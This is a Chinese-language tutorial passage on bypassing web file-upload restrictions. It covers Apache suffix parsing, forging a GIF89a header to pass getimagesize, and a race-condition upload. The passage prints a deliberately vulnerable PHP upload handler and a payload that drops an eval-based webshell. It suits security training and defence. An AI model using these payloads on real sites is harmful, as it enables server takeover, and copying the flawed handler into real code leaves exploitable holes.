白名单校验

apache 解析缺陷

Apache得解析缺陷是Apache是从后面开始解析后缀,按最后一个合法后缀
详情参见:
https://www.cnblogs.com/milantgh/p/5116955.html

文件内容头校验

当getimagesize函数的参数是一张图片时,会返回一个包含该图片信息的数组,如果不是图片,则返回false

看起来可以利用getimagesize函数来判断一个文件是不是图片,但其实它可以被轻易绕过,因为getimagesize函数判断一个文件是不是图片的依据是图片格式的文件头

只要在webshell前面加上对应的文件头就可以让getimagesize函数误以为这是图片
最常用的头标识是gif文件的GIF89a

1
2
GIF89a
<?php phpinfo();?>

竞争上传

问题代码示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = $UPLOAD_ADDR . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传失败!';
}
}

服务端先将上传的文件保存下来,然后再去判断其是否合法,不合法就删除。
这时只要访问速度够快,就能访问到上传的非法文件

上传的文件

1
2
3
4
5
<?php
$file = 'web.php';
$shell = '<?php eval($_POST["key"])?>';
file_put_contents($file,$shell);
?>

可以通过bp不断的上传和访问该文件,访问成功就会写入一个webshell